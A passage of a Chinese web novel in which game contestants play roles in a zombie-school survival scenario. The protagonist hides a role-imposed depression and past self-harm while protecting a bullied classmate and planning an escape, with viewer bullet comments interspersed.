剧院内的灯还没有打开,舞台上演员们重新归场一起唱歌,歌声让剧院内没有那般阴森恐怖。 死魂灵、送葬人和格雷医生肩搭着肩演唱着,好似背叛和死亡从未在他们之间存在过。 老钱问身旁的邱任望:“怎么样,还挺好看的吧?” 邱任望:“演的很好,确实不错,就是有点饿了” 老钱:“那我们先走吧,别听歌了,好像还要唱很久… 一起出去吃完东西回去休息。” TRES的队员们接连站起来往外走。 温知初也站起来,队伍暂时卡住了,她站在原地,等待前面的人往前走。 舞台中,歌声中响起一句:“你告诉我,维克多,你到底是送葬人,还是刽子手?” 温知初朝舞台上看去,演员们很沉浸。 晏逾明没有望向舞台,他垂眼,看着站在自己身前的温知初,晦暗的光线将他轮廓衬得更加分明。 晏逾明:“好看么?” 温知初顿了下,才反应过来身后的人是在和她说话。 她道:“好看。” 晏逾明:“你觉得维克多是送葬人,还是刽子手?” 温知初:“…既是送葬人,也是刽子手。” 被朋友背叛了,但也确实背叛过另一个朋友,间接导致了朋友的死亡,才有其后挣扎不清的一切悲剧。 034号: [男主显然不是认真想要讨论剧情。 ] 确实不是。 带着含沙射影又模糊不清的意味。 晏逾明问:“你怎么看待背叛和死亡之间的关系?” 前面的队伍终于开始挪动,温知初抬眼,神情在晦暗处看不分清。 “我觉得…”她道。 “所有的背叛,都应该受到应有的惩罚。” 两个人的脚步都略微停滞了片刻,而后一前一后地往前走,和队友和教练会合。 其余的对话,都被人群的嘈杂声给吞没。 夜色未了。 晚宴丰盛,不过TRES的队员们时间有限,没有参加晚宴后的舞台秀,离开了剧院。 在剧院外,老钱蹲下:“来,大家站在一起,给大家最后拍个照。” 六个人站在绕着彩灯的树下,“咔擦”一声,老钱拍下剧院前的这群年轻人。 照片定格。 相片中,邱任望笑得最开心,就算左眼被绷带包裹着也抵挡不住他发亮的眼神,章诎眯成狐狸眼,屈孚宁盯着镜头发呆,将铭的嘴角僵硬地扬起。 温知初和晏逾明… 老钱看着手中的相片…这俩孩子站是站在一起的… 其实没有想象中的生疏,但是也没那么亲近。 不远不近。 恰到好处的距离里,相片中的两个人看的是不同的方向。 就像天上分散的星光,走向的不同的路。 闪烁着。 夜色一点点燃烧殆尽。 · 第三轮SS赛的到来让TRES基地的气氛紧张很多。 从剧场回来后,大家都早早收拾回去休息,隔日上午大家也都没有训练,各自静养。 十一点一到,顶着夏天的大太阳,换上夏季队服的队员们在门口集合。 烈日烧得大地散发植物被烤的气味,八月的日头热烈而不容躲避,蝉用力地叫着,军用卡车运着主力队员和训练官,颠簸地离开。 达到目的地的时候,正好是十二点,卡车的尾门打开,队员们依次下车。 温知初扶住车栏,从卡车上翻跳而下,轻声落地。 队员们靠近域。 数据流的光芒在一望无际的荒岭中穿行,第三轮SS域,缓慢地打开了。 老钱走到他们身旁:“能进行剧情探索的光点仪已经内嵌在你们每个人的终端里了,这一次,大家的任务会更重一些,除了要完成<深渊>给你们的剧情目标外,还要额外地去探索有关出口的剧情。” “不过…”他道,“无论如何,还是你们的性命最重要,如果没有生命,就算找到出口又有什么用…” 老钱道:“无论输赢,无论能不能探索到剧情,大家必须都要活着。” 数据流风暴般开启,域所在的门形成一个漩涡。 队员们一个一个地进入域,没有再看身后的路。 温知初俯身,弯腰踏入了域。 广播:[领域展开。 ] 广播: [SS赛程开启。 ] 广播: [赛制:长时剧情赛;剧情将随机为各位分配角色,请遵守杀戮和剧情规则。 ] 广播:[注意保护自己的意识,警惕任意剧情带来的错觉。 ] 随着冰冷的电子声,周身陷入伸手不见物质的黑暗中。 耳畔响起风声,温知初睁开眼。 抬眼,四周依旧漆黑,从地上熟悉的杂物来看,这里是…游泳场馆的仓库。 门被锁着,身体有些紧绷,从身体温度来看,这个角色应该在仓库里待了很久。 这是一个什么样的角色…为什么要把自己锁在仓库里,窗帘紧拉,也不开灯。 墙上,是中午十二点半,但仓库内温度很低。 面前展露电子光屏。 时间:现在是3046年4月20日,谷雨季节,距离丧尸潮爆发,已经过去46天。 剧情:学生们在场馆内所待的时间里,大家组织过两次外出,寻找食物和药物,但是校园内的物资实在有限,食物和药物再次迎来耗竭的危机。游泳场馆这个末日里的乌托邦已然不再安全,整个校园资源耗尽,已无法生存,他们必须要离开游泳馆,想办法离开这所已无活路的丧尸校园。 剧情目标: 所有TRES的成员们,你们此次的剧情有两个。 其一,杀死至少三个敌方。 其二,离开校园,借助陈付讫叔叔派来的救援队和关键人物市议长见面。 [两个剧情目标? ] [这么难…陈付讫不是敌方吗?怎么借助啊? ] [开玩笑吗,这么大的任务量… TRES这次还得另外探索剧情找出口啊。 ] [我估计探索不了,你们觉得<深渊>真的会让他们用终端里的那个内嵌光点仪么? ] 确实用不了。 所有TRES队员的终端上,内嵌的光点仪被打开功能后,终端就会显现[无信号]。 完全没办法通过这个功能来试探什么样的剧情才是最靠近出口的。 [无信号。 ] 温知初的视线离开终端。 眼前的电子光屏再次出现,浮现出她此次的人物角色栏。 姓名:温知初。 人物:由于上一轮你的表现和班长这个角色贴合度极高,此次任务,你依旧担任高三四班的班长,正直、善良、即使牺牲自己也要守护他人。 可是…不对。 温知初站起身,如果是班长,为什么会把自己关在仓库里这么久? 班长是沉稳的,镇静的,永远不会远离人群的。 而这个角色的内心,有种非常焦虑、厌世的情绪,被极度压抑着。 她站直身,掀开校服衬衫的袖子,焦灼感来自手腕… 与此同时,电子屏上关人物资料的最后一段字被吐出来。 性格:善良勇敢是班长的表面形象,也许正是因为过于完美,所有的负面情绪都无法对别人发泄,太过压抑和高压的成长环境让班长永远无法允许自己在别人面前做错任何事,极度的压抑催生极端的自毁情绪。 情绪内化成精神疾病后,班长每天都必须要服用精神镇定方面的药物,来维持正常人的假面。 班长的口袋里,装着熟悉的药瓶,和邱任望之前服用过的药一模一样。 温知初撩开了袖子。 手腕上,布满一道道割腕过的、结痂的痕迹。 第56章 从口袋里拿出药瓶,药瓶上刻着熟悉的标志,绿色的叉和红色的蝙蝠重叠着,如同在深渊里往外窥探的怪物。 [什么意思…明明是班长,却给班长加了这么个设定吗? ] [班长本来就很难做了, 现在连精神疾病的限制都加给了小温…] [不是,这个域什么意思,是想把小温往死里搞啊。 ] [天天吃这个药?有自杀倾向的同时还要完成那么多任务?这跟让人直接去死有什么区别? ] [不是吧,这么倒霉嘛,怎么又是小温来承担这一切啊? ] [这也太难了…一个做最多事但心里最压抑的角色…怎么来承担啊?还有那么多目标要完成,不仅有域里的两个目标,还得另外探索剧情…现在剧情探索的光点仪也没用… ] 仓库内,温知初打开了药瓶。 药瓶里满满当当都是药片,瓶身上写着一天一片的说明。 轻响后,温知初重新关上瓶盖, 把校服袖子放下来,遮住手腕上的伤痕。 口袋里除了这个药瓶,还有一把细长的玻璃片,上面沾着星星点点、不明显的血迹。 观察四周。 班长来这里,大概是自毁倾向再次暴发,无法压制情绪的她把自己关在仓库里,就像之前将自己锁在杂物间的邱任望一样,企图再次割腕自杀。 不过最终理智压制了这一切, 班长选择服下药物, 昏厥了过去。 大抵是这样。 推开门, 温知初走了出来。 往外走,游泳场馆依旧是熟悉的模样,消毒水的氯味潮湿地弥漫在走道间, 学生们在场馆不同的地方分散、午睡。 偶尔有几个人在角落低声聊着天,看到温知初后,都会抬起头打声招呼:“班长。” 温知初略微颔首,踏上楼梯,往二楼走。 游泳馆外是密密麻麻的丧尸,丧尸的数量显然比之前两轮要多了许多,这意味着校内有源源不断的幸存者丧生,而校外的丧尸潮也没有任何控制得住的迹象。 原本紧锁的校园大门被外面逃生乱窜的卡车给撞开了,没有大门的阻挡,外面的丧尸涌入这所原本就一败涂地的校园,涌向各处有可能会出现活人的地方。 由是现在从天空往下俯瞰,游泳场馆外的丧尸人头几乎如蜂窝里的蜜蜂一样拥挤,激烈地撞着墙和门。 场馆内的学生们一边焦躁着,一边又像是习惯了这样的绝望,拿衣服绕住脑袋,麻痹自我地闭上眼。 [其实我觉得还是有些改变的。 ] [这些学生起码胆子大了些,敢出去找物资了,接下来TRES要带他们逃生的话,应该不会那么难吧? ] [为什么要带他们逃生?不用管他们啊,反正都是NPC ,这一轮又不用保人了。 ] [不是,楼上那哥们儿,你有没有人性啊,照你这么说,我们不也是某种意义上的碳基NPC…数据化不代表这堆数据没有生命啊。 ] [太圣母了,自己命都保不住了还管其他人干什么? ] [别吵了,不管什么人性不人性的,小温是班长,将铭是体委,其他队员的设定基本都是善良的人,他们的人物设定,注定他们不会独自逃跑的,从剧情角度出发,他们就不可能独善其身。 ] 温知初站在二楼,往下看。 这次不是三十三个人,是三十四个人。邱任望也在。 这次没有TRES的队员在外落单,毕竟药物的控制已经落实在班长的身上,没有必要再挑出一个队员单独当陷阱。 场馆内的布局看起来没什么变化,但末日里46天的发酵,足够让许多事改变。 譬如有了上一轮域发生的事,体育部的李奂壬和陈付讫不再能带动那些体育生挑事,体育生们融入了高三四班,不过还是比较忌惮这两个人。 这一轮,章诎人物角色没变,依旧和高二七班那几个以赵平阴为首的刺头关系不对付,这三个刺头和李奂壬和陈付讫关系变得很好,基本都在一起活动。 陈玉清的身体恢复了,已经能跟大部队一起行动,感激校医的照顾,会帮忙校医打下手。 因为学生们需要找物资,外出了两趟,不少人受伤得很严重,每天都得处理伤势,尤其是储见仲,他的低血糖变得更严重了。 将铭的人物角色没变,依旧是高三四班的体委;邱任望的角色和上轮一样,是高三四班的美术生,不过没了精神疾病的设定后,是个普通文静的学生;屈孚宁的人物角色变了,成了四班的学生,但性格依旧比较幸运地贴合他本身,是个虽然喜欢独自行动但善良的学生。 [小屈一如既往得幸运,角色都是比较能按照本意行动的那种,不愧是幸运S。 ] [而且这个角色比上一轮还要好,没那么孤僻,还是高三四班的,比较方便和大家聚在一起,上次章诎都没办法找机会单独和他聊行动。 ] [那个…Yu呢? ] [没看到啊。 ] 温知初站在二楼,往下看,也没看到晏逾明的身影。 其余的队员倒是默契地聚到了二楼,逐渐五个人都齐了。 这次他们五个人的人物角色关系不错,没有特别孤僻躲避人群的,比较容易会合,不用开“剧情脱离”权限也可以躲开人群聚在一起,来讨论行动。 “可能Yu哥这次的人物设定还是上次那种孤僻的角色,说不定还是副班长,所以没办法来,依旧需要躲避人群。”邱任望道,“那我们五个人先讨论吧,有什么重要的话整理好发在群里。” 人物设定决定了他们不可能聚太久,赶紧简洁地交流彼此的情况,以及接下来行动的大方向。 一番谈论后,主Tactic位负责总结。 章诎:“首先,权限。” 他道:“因为这一轮需要对敌方动手,所以武器抽取的权限比上一轮重要,除了Tactic位之外,其他四个人都有抽取武器的权限。” 他望向将铭:“这次Carn位还有后半场才能行驶杀戮权的限定吗?” “有。”将铭道,“和老规则一样,虽然后半场才能行动,但能一定程度上共享你们Tactic位的部分权限。” “行。”章诎道,“这次Tactic位的权限,我作为主位,有两个权限,其一是局部地图,其二是剧情脱离,这一轮域里面我们要离开游泳馆,甚至要离开校园,而且还是在依托敌方的情况下出去,肯定会出现一些意外,所以地图的权限会比剧情脱离的权限重要很多,如果没有什么特别的情况,我应该会把权限都放在地图上。” 邱任望接着道:“我只有一个权限,是查看敌方,十二个小时可以查验一次身份。” [十二个小时才能查验一次,太夸张了吧?怎么来得及? ] [别急, Carn位不是可以共享么? ] 将铭道:“我能共享查看敌方的权限,但是二十四小时才能查验一次。” “太紧凑了。”邱任望道,“也不知道Yu哥有没有这个权限…” “他没有。”章诎低头望向终端,“群里发了,他这次的权限只共享了剧情脱离。” 果然,Yu依旧是副班长。 邱任望:“这其实挺好的,因为他那个副班长的人物角色挺需要脱离剧情的…” 屈孚宁开口:“但其实这次是不是没那么需要查验敌方,毕竟我们已经知道了李奂壬和陈付讫是敌方…” 邱任望摇头:“不行,陈付讫的身份很特殊,我们不是只离开校园就好了,还必须要搭上他这条救援线才行,而后才能看到他的叔叔市议长什么的。这种情况就得保证他活着,还得活到最后,而且还不能招惹他的朋友。” 章诎道:“你们说有没有一种可能性,就是我们最后完成见到市议长这个任务后,利用剧情脱离再把陈付讫和李奂壬一起杀了…” 说完他自己摇头:“我们能想到的敌方也能想到,在此之前,这两个人很有可能利用剧情躲起来,所以为了保险,必须得更多地去查验其他的敌方。” 聊完权限后,开始谈论目标。 “大家都知道。”章诎眯着狐狸眼,“这次比较辛苦,剧情目标比较复杂。” 前两个是<深渊>给他们的。 其一,得杀至少三个敌方。其二,得离开校园,借助陈付讫叔叔派来的救援队和关键人物市议长见面。 看似只有两件事而已,但是这两件事都需要他们完成无数剧情关键事件。 最后一个目标是他们自带的,也是最难的。 要在保证他们能走出去的情况下,去探索有关出口的剧情。 终端内嵌的剧情探索功能根本没用,还得靠他们盲人抓瞎般得去试探。 章诎:“剧情探索的事…” 他也没办法提出什么建议。 他道:“我们就靠直觉和经验去尽量努力吧。” 这是他们进入域的意义,不可能因为条件艰难就放弃。 “最后,”章诎望向其余四个人,“聊聊我们自己,因为这一次又多了个无法互相看到对方详尽资料的限制…大家的角色应该没有什么异常的吧?” “没有。” “没有…” 五个人互相看着,没觉彼此有什么特别异常的地方。 “小温?”章诎望向一直沉默着的温知初,“你的人物角色还是班长…一切正常?没有变化吗?” 温知初抬眼。 “是出现了一些变化。”她平和地开口。 “不过…”她顿了顿,道,“在可控范围内。” · [啊啊啊…在什么可控范围内啊…小温应该是怕拖累大家,没告诉其他人吧… ] [说实话是我,我也不会说,因为现在六个人的任务都太多了,稍有分心可能都自身不保,就算小温说出来,他们也没办法替她来完成班长这个角色,反而会让其他人因为担心她而束手束脚的,所以小温才选择没有说出这些事。 ] [其实我觉得小温可能不会做这么多感性的思考,只是觉得无法团队合作的事,就由自己单独做好就行吧。 ] 034号觉得这个弹幕很有可能真相了。 一楼。 温知初在观察着自己,亦是在观察着这一轮的班长。 这一轮的班长比起上一轮的班长要稍微不合群一些,虽然不拒绝其他同学靠近,但也不会主动给自己找事做,避开人群待着,躲避太多琐碎的事务,不过如果有学生专门来找她帮忙,她也不会拒绝。 班长的身体很不适,躯体化反应严重。 走路时,眩晕感强烈,伴随头痛和恶心感,食欲低,脸色苍白,不过这些她不会对外界表现出来。 正是因为身体不适,班长才选择一个人待着,不想任何人看穿她假面下的一败涂地。 其余,暂时没有太过激烈的反应。 至少不吃药时不会凭空产生幻觉,就算有神经性耳鸣也是低声的。 是个必须要养精蓄锐的角色。 温知初从人群穿过,走向一楼的走廊,那里人很少,可以独自待着。 在走的路上,和不少同学搭话中,她了解了一件事。 场馆内的所有学生都约定好了,明天早上,他们要集体离开这个场馆,逃向礼堂楼,在那里,后天会有救援队的直升飞机落于天台。 与上一轮剧情不同,这一轮这些学生是信任陈付讫说救援队要来的,不仅仅因为他们听到了陈付讫打给叔叔的电话,也因为收音机里播报的救援队行动,确实应该快要覆盖他们这片城区了。 所有人都准备离开。 演绎陈付讫的人没有变,依旧是上次那个敌方。敌方说的话…真的可信么。 就算不可信,就算有陷阱,他们也必须按照剧情的指定来搭上这条线。 走廊内无人,日光透过窗户的缝隙投在地上,因为窗户大多被封死了,走廊呈现一种深蓝的光影,看起来有些冷。 也确实有些冷,虽然是四月,但室内温度在十度以下,末日里,气温很奇怪。 温知初走到走廊中央,确定四处无人,她坐下,背靠在墙上。 闭上眼,世界就不会因为眩晕而旋转了。 这里的位置正好,她能听见人群的声音,但是人群看不到她,也无法知道班长假面之下长伴的疼痛和不适。 就算发病了也能赶紧从走廊离开,不被人群目睹。 温知初安静地倚在墙边,闭目养神,光影打磨她过于完美的轮廓,温和而冷淡。 班长身上的疼痛和焦灼感随着时间的推移会加重, 034号能看到宿主感受到的疼痛等级在不断增加,它不知道宿主曾经到底是在什么样的环境下长大的…如此能忍痛。 就算疼痛等级以及达到了半个电子剥离的痛感,唇色彻底白了,也依旧平静地闭着眼,仿佛真的只是在闭目养神罢了。 不知道过了多久。 场馆外的丧尸撞击声没断过,日光斜斜的,天色已然从正午变成黄昏,温知初依旧在墙边,坐着、闭着眼。 似乎会一直这般疼痛地静谧下去。 “班长。” 低沉的声音在走廊里响起,有人来了。 高大修长的身影不知道什么时候走来的,立在温知初面前,垂眼望向她。 副班长的语气依旧漫不经心:“喂。” 他轻轻地踢了踢温知初的鞋尖:“死了吗?” 温知初睁开双眼,望向晏逾明,看清是副班长后,有些冷淡地偏过眼神:“找我什么事?” 班长和副班长的关系,还是这般的不对付。 只不过这次的副班长,人物设定上似乎比上一轮的爱招惹她。 “我看你这么长时间没动,”晏逾明望着她,“还以为班长死了。” “托你的福。”温知初抬眼,淡淡地开口,“我还活着。” 她站起身,站得很直,就像身体完全没有任何不适一样。 班长从来不会在外人面前展示不适,尤其在和自己一向不对付的副班长面前。 “所以,”她抬眼,“找我什么事?” 第57章 [不是…我的两个墙头怎么又是这种针锋相对的关系? ] [这俩什么孽缘,怎么每次都是对立的? ] [还是班长和副班长欸…] [这么搞,我要相信那条说他们私底下关系不好的小道消息了啊… ] [这样下去,就算两人没仇都得有仇了吧…] “不是我有事。”晏逾明垂眼盯向温知初, “校医找你。” “老师找我?”温知初问, “他在哪里?” 问出声时, 晏逾明已经转身走了, 一幅慵懒而漫不经心的模样, 仿佛真的只是来通知一声。 “不知道…”晏逾明道,“自己找找吧…” 温知初原地站着,不明所以地望着副班长的背影,她顿了顿,转身走向另一个方向。 大抵在医务室。 校医果然在临时医务室里, 蹲在地上收拾行李,因为明天要离开这里, 要把医务室里所有能用得上的药和设备都带上。 陈玉清在一旁帮着收拾。 她注意到走进门的温知初,抬眼,笑道:“班长…” 温知初回了一个温和的轻笑,望向校医:“老师, 你喊我?” 校医抬起头,一头雾水。 温知初:“副班长说你喊我?” 他没有啊?什么时候喊了?他今天都没有遇到过副班长… 校医的注意力被另一件事转移,他站起身, 走近:“班长, 等等…” 他道:“你这脸色怎么这么苍白,哪里不舒服吗?” “没有, ”温知初平淡道,“天生肤色就这样。” 她道:“没有不舒服。” “你在这坐着,我给你煮点红糖姜。”校医道, “可能太累了,班长你的脸色太白了…你坐在这儿休息。” 盛情难却,温知初在一旁坐下。 校医煮了两杯过来了,一杯给陈玉清,一杯给温知初,自己重新蹲下收拾行李。 陈玉清坐到温知初对面,对她笑了笑。 “班长,”陈玉清道,“谢谢。” 温知初抬眼:“不是我,是校医老师给你煮的。” “不是说这个,我说之前你带人出去给我找药的事。”陈玉清道,“如果没有你,我说不定真的要出事了。” 温知初:“不是我一个人的功劳。” 她道:“我们都是同学,互帮互助是应该的。” “现在这个情况,哪里还有什么理所应当的帮助啊,”陈玉清由衷道,“班长,你为我们做的事,我们都看在眼中。” [感觉陈玉清应该不是敌方。 ] [但是也不能排除可能性,毕竟没有被查验过。 ] [不是吧…我不相信联邦监狱那些以杀人为乐的囚徒演技这么好,陈玉清绝对不是敌方。 ] [大概率不是。 ] 陈玉清:“班长,有你真好。” 陈玉清说了很多有关班长的好话:“你真的很厉害,几乎没有任何不擅长的,只要有你,我们肯定会安全…” 她继续讲着。 这些赞美之词的出发点肯定都是好的,但是班长的身体却因为这些话愈发不适,耳鸣似乎更厉害了… 这些褒奖的话勾勒出班长完美的假面,一个完美的人,一个道德上没有瑕疵的,一个愿意牺牲自己去保护其他人的人…别人对班长的赞扬越高,班长就越会为这道假面而竭力。 可她的本性似乎并非如此,她也是人,不是什么圣人,所以才会因为强烈的竭力感和事与愿违而难受。 班长只活在他人的话中,只展露他人口中完美的自己,一举一动,都被框住了。 温知初垂眼,平静地忍耐着身体的疼痛。 这不禁让她想起晏逾明,他的曾经…是不是也是永远被限在剧情为他锢上的假面之间呢… 陈玉清因为喝热茶脸色变得红扑扑的,她有些疑惑地望向温知初:“班长,为什么你喝了这么多热茶,脸色还这么白啊?” “你不会哪里真的不舒服吧…”她伸手,握住温知初的手腕,关切地问,“我跟校医老师学了怎么把脉,要不我帮你看看?” 陈玉清握住的位置,正是她结痂了无数痕迹的手腕。 温知初轻微摇头,不着痕迹地收回自己的手:“我没事,肤色一直这样。” 陈玉清还想说什么,温知初开口:“还有什么没有收拾好么?” 陈玉清的注意力被转移:“啊…还有柜子里的那些绷带什么的,就是上次我们出去拿的那些,虽然有的过期了,但是现在条件有限,还是得带上…” 陈玉清不断说着话,温知初的视线略微偏移,望向门外的一缕光线。 日光把阳和暗,割裂得分明。 · 场馆东侧的便利店外,聚着四五个人。 李奂壬和赵平阴这几个人基本已然形成了一起活动的定局。 这几个人围着储见仲,不让他离开。 有个七班的人开口:“你说你,你说你,低血糖又胖,带着你一起逃生,不是找死吗?” “你是不是偷偷吃东西了,怎么都这么大家都变瘦了,就你变胖了呢?” 几个人嘲弄着,显然拿他逗乐。 储见仲紧皱着眉,他低头,想离开却被包围住,只能小声辩解:“我没有变胖…我是天生的,不是吃胖的…” 几个人笑得更厉害了:“怪不得,猪天生生下来就是猪,喂,你们有没有闻到什么猪味?” 他们扇着鼻子:“好臭…” 有人推搡储见仲一把,把他推到地上:“猪,你这么胖怎么办啊,明天陈哥的叔叔带救援队来,我们出去的时候如果带上你,肯定会被你拖累死的。” 陈付讫也在笑:“你太胖了,到时候丧尸看到你,肯定都拼命地追着你,确实会拖累我们。” 被围在中间的储见仲委屈地皱着脸,愤怒和窘迫让他的脸发红。 远处有学生看到了他在受欺负,但是没有人来帮他,他们都怕得罪陈付讫,怕陈付讫的叔叔明天不带他们走。 储见仲也怕。 在自尊和求生之间徘徊着,储见仲憋红了脸也没说什么,最终选择了放弃自尊,他低下头,开口:“对不起。” 陈付讫笑道:“大点声!” 储见仲艰难地提高嗓门:“对、对不起…” 一群人嘲笑着,陈付讫继续道:“只是道歉多干巴巴的啊。” 他斜睨着储见仲:“这样吧,既然你都认错了,那给个态度看看…趴下来让我们骑一下,或许明天我们就考虑带你走了。” 储见仲脸色涨红,眼神挣扎着,几乎要流出泪来,但他不敢、也不能说什么。 自尊没有用。 他低着头,慢慢地要蹲下身。 “喂。” 一只手伸过来,将他拽住。 声音在耳边响起。 “站起来。” 储见仲被拽了起来,回头看:“班长…” 温知初松开手,平静地扫了他一眼:“受伤了吗?” 储见仲看了李奂壬他们一眼,摇头。 温知初:“带你去医务室,让校医老师看看。” 储见仲见没人拦,小心翼翼地要离开。 身后传来冷笑。 “就这么走了?” 陈付讫冷笑着:“明天我可是要带人出去的,你要是这么走了,我可不带你们出去。你也知道的,救援队是我叔叔派来的…” 温知初淡淡地看了他一眼,转向储见仲:“你先自己去医务室。” 储见仲犹豫了片刻,快步走远,不过也没去医务室,在拐角处紧张地看着。 陈付讫嘴角的嘲笑意味变大:“看来班长和那位胖子一样,都不想出去,想一辈子都待在游泳场馆内。” 温知初抬眼:“救援队是你叔叔派来的?” 陈付讫:“当然。” 温知初:“所以你叔叔不是市议长,是总统?” 陈付讫皱起眉头,他站直:“你什么意思?” 温知初语调平静:“救援队是联盟派出来救助民众的,是一群活生生的人,不是任何人的私有物品,就算没有你,他们也会来这个城区,正如广播里所说。” 她顿了顿:“还是说…你觉得救援队只为你叔叔卖命?” 气氛变得紧绷。 几个围观的学生们看过来,确实啊…收音机说了救援队要来他们这片城区是上个月的事儿了,早就板上钉钉,没有证据证明是陈付讫叔叔派来的,虽然他叔叔确实官儿很高就是了…不过现在是民主社会啊… 陈付讫见不得自己的地位被质疑:“说什么呢?” 他走过来,一幅要动手的模样。 温知初站在原地,双手依旧揣在兜里,她冷淡地抬眼,没有任何预兆地抬腿,踹向陈付讫的腹部。 “砰!” 几乎可以用剧烈来形容的动静,陈付讫的身体被猛得踹开,整个人被撞到墙上,甚至觉得骨头被踹裂开了,他捂住肚子,根本说不出话来。 其余几个刺头被这动静给震了一下,停住动作。 陈付讫肚子上这寸劲儿还没过,温知初走了过来,伸出手,拽着他的手腕把他拉起来。 手腕上钳制住他的力道根本不像正常人类能有的,陈付讫挣扎了几下,根本挣脱不动,手腕感觉快要被捏碎了。 温知初把他轻轻拽起来,冷淡地开口:“没受伤吧?” 她道:“失误。” 温知初松开手,语气平静到仿佛刚才什么都没发生:“我只想说…救援的时间、地点,我们都知道了。就算没有任何人带头,我们自己也会去礼堂楼等待救援队。” 她道:“如果到时候,救援队只愿意救市议长的侄子的话…我觉得这种救援应该没什么意义。” 四周的学生们神色变了变,被触动了。 他们又不是没有脚,自己也可以去礼堂楼。 陈付讫家里确实有权势,要是救援队真的只救关系户,那他们就算侥幸被带出去,能有什么好下场? 更何况…救援队真的会像陈付讫说的那样,只救和他关系好的人吗? 他们迟疑着,望向赵平阴这些人。 陈付讫捂住自己的肚子,脸色难看地瞪着他们,嘴里骂骂囔囔的,被李奂壬他们给扶走了,一路上,骂声没停过。 温知初站在原地,淡漠地望向他们的背影。 其他学生。 “散开吧…” “陈付讫这样子,该不会明天真的不让救援队带我们走吧…” “我们还是先去收拾行李吧,我相信联盟。” 围观的学生逐渐散去,走道上只站着温知初一个人,在没有人的时候,疼痛感会加倍地袭向总是在人群中装作安然无恙的班长。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 温知初垂眼,平静地忍耐着疼痛感。 班长不能忍耐的疼痛,她能忍耐,毕竟这是她长久人生中,习以为常的事。 还没到吃药的地步。 不过她能忍耐,身体却不能,身体生理性地踉跄。 在眩晕感中,温知初往后退了几步,头重脚轻,有种要摔倒的感觉,她伸出手,要扶住墙。 在此之前,有只手抵住了她的后背。 指节分明,手掌温热,带着轻慢的力道。 “班长。” 晏逾明的手撑在她身后,漫不经心地垂眼看着她。 “你站在这里,会挡路。” 第58章 温知初站直身,后背离开晏逾明抵着的手。 转过身时,已然无法从她的神情中找到任何不舒服的痕迹。 她略微提起唇角,淡淡地抬眼:“谢谢。” “谢什么?我不是为了扶你, ”晏逾明垂眼望着她, “班长,走道很窄。” 他道:“你让让。” [又又又。 ] [又对上了。 ] [班长和副班这俩人对上,指定没什么好话了。 ] [你说他们到底是演的, 还是真的现实关系不对付啊。 ] 温知初略微颔首,她侧身倚墙站,让开道:“请。” 晏逾明走过去,眼神从温知初的侧脸划过,带着淡漠而不明的情绪,他收回眼,没再说什么,默不作声地离开了。 温知初看着他的背影消失在拐角处,她朝反方向走去,回到人比较少的一楼走廊。 这个身体的状态太差了,没事的时候一个人待着静养最好。 她坐下,正准备闭眼,脚步声在走廊上响起,她抬眼。 晏逾明。 [怎么又是Yu] [等等,这两个人不是走得反方向么,怎么都来走廊了? ] [班长来走廊是因为身体不舒服,那副班长是为了什么啊? ] 晏逾明望向温知初,对上她的视线,像是知道她无声的眼神在表达着什么:“怎么?” 他问:“这里被班长占领了,我不能待么?” 温知初摇头。 晏逾明也没在等她的回复, 他在离温知初一米远的地方坐下,背靠在墙上,和她之前一样闭上眼。 闭目养神。 就算是闭着眼。 他开口:“班长,别看我了,给我些私人空间。” 温知初:“……” 她收回眼,不再望向副班长的方向。 [不是,到底是谁不给谁私人空间,班长在这儿待得好好的,你自己来的。 ] [感觉这次副班长的人设不是上次的那种类型,虽然依旧孤僻,但是跟班长之间的关系,变成了主动爱招惹的那方…] [我有点好奇,Yu到底是演的,还是自己想来走廊啊?应该没有哪个关键事件节点是让他来走廊找班长的吧? ] [不像是演的。 ] 昏暗静谧的走廊间,班长和副班长安静地坐着,时间和光影在这寂静无比的地方缓慢地划过。 没有人说话。 温知初睁开眼,瞥了眼斜对面闭目养神的晏逾明,从背包里拿出本书看。 《蜉蝣》。 在苍茫而不同的世界里,人若蜉蝣,蜉蝣观世。 长道上,只剩下窗外的风声和书页翻动的声响。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 温知初的视线依旧定在书页上,疼痛流经身体。 书页往下翻,仿若没听见这声电子音。 还没到无法忍耐的时候。 · 晚上七点。 学生们聚在一楼吃晚饭,行李大概都收拾完了,他们讨论起明天出去的路线。 外面丧尸太多了,他们得挑丧尸相对分布较少的路线。 将铭坐在人群中间:“目前我们已经敲定了就是从综合楼那里绕过去,去礼堂楼,这个大家没有意见了吧?” 这条路线是章诎用地图权限分析出来的最优路线,客观上来看是最佳的。 “没意见。” “我也没意见。” “班长,你出去过,你觉得这条路线行呢?”有人问。 温知初略微颔首:“没问题。” “那我也没意见…” “行,”将铭道,“队型肯定还是老队型,能力强的站外圈,体力稍微弱的站中间,队型不能散,散了就会像以前一样,被丧尸冲走。” 其他人慎重地点头,陈付讫那几个人冷笑着,没说话。 将铭看了他们一眼。 “那就最后一件事了。”将铭点着本子上的自己画的地图,“我们明天从哪个口出去。” 他道:“其实最好的出口是班长说的那样,从二楼的管理室翻下去,虽然比从东西南北四个门出去难度高一点,但是楼下丧尸分布最少。” “可是…”有人开口,“我们翻不下去啊。” 从二楼翻下去,就算这里有空调主机踩着,也是需要一定的体质能力基础和魄力的,有的人恐高,有的人个子太高又不够灵活、有的人体重太大,从二楼翻下去确实十分危险,这又没办法排练,如果不小心摔了受伤了,接下来根本没办法逃生,必死无疑。 李奂壬突然开口:“分成两路吧,东门外丧尸虽然多点儿,但是起码比从二楼翻下来靠谱,反正我从东门走。” 陈付讫跟着开口:“愿意从东门走的,可以和我们一起。” “东门确实可以。” “那要不我们从东门走…” 赵平阴:“愿意从东门走的举手。” 不少学生的手都举了起来,尤其是那些体质本来就不好的学生,本身不具备从楼上翻下来这个能力,只能从一楼走。 将铭和温知初对上视线,交换了一个眼神。 [卧槽,都跟敌方走了? ] [敌方这些人,我不相信他们会管这些人的死活,尤其还是些本来就体质稍弱些的孩子,到时候遇到什么危险,肯定会被敌方当成分散丧尸注意力的那种诱饵,说抛弃就抛弃。 ] [别说用来当诱饵了,我觉得这些敌方会主动害人,联邦监狱以虐杀为乐你们又不是不知道。 ] 这些学生们对陈付讫和赵平阴还是有所忌惮的,所以有学生举手的态度很犹豫,主要犹豫李奂壬这些人的品性。 李奂壬笑着:“不相信我们就走二楼呗,我又没逼你们。我们就五个人,你们这么多人,就这么怕我们啊?孬不孬?” 又有人犹豫地举起手。 温知初:“我走二楼。” 她开口:“我可以帮不敢翻下去的人下楼。” 